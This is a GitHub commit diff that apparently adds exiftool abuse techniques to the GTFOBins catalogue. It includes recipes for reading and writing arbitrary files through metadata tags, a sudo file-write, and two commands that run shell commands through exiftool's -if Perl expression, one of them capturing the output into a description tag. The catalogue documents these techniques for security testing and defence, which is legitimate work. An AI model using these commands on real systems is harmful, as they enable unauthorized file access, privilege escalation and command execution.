Skip to content

Commit 4676b80

Browse files
committed
Add more exiftool commands
1 parent ac8e667 commit 4676b80

File tree

1 file changed

+20
-0
lines changed

1 file changed

+20
-0
lines changed

_gtfobins/exiftool.md

+20
Original file line numberDiff line numberDiff line change
@@ -8,14 +8,34 @@ functions:
88
OUTPUT=output_file
99
exiftool -filename=$OUTPUT $LFILE
1010
cat $OUTPUT
11+
- description: Exfiltrate file data via metadata tags
12+
code: |
13+
LFILE=file_read
14+
INPUT=input_file
15+
exiftool "-description<=$LFILE" --filename $INPUT
1116
file-write:
1217
- code: |
1318
LFILE=file_to_write
1419
INPUT=input_file
1520
exiftool -filename=$LFILE $INPUT
21+
- description: Write file from metadata tag's content
22+
code: |
23+
LFILE=file_to_write
24+
INPUT=input_file
25+
exiftool -description -W $LFILE --filename $INPUT
1626
sudo:
1727
- code: |
1828
LFILE=file_to_write
1929
INPUT=input_file
2030
sudo exiftool -filename=$LFILE $INPUT
31+
command:
32+
- code: |
33+
COMMAND=command_to_execute
34+
INPUT=input_file
35+
exiftool -if "system('$COMMAND');1" --filename $INPUT
36+
- description: Run system command and exfiltrate result via metadata tags
37+
code: |
38+
COMMAND=command_to_execute
39+
INPUT=input_file
40+
exiftool -userparam "inj=Test" -if "\$\$self{OPTIONS}{UserParam}{inj}=\`$COMMAND\`;1" '-description<$inj' --filename $INPUT
2141
---

0 commit comments

Comments
 (0)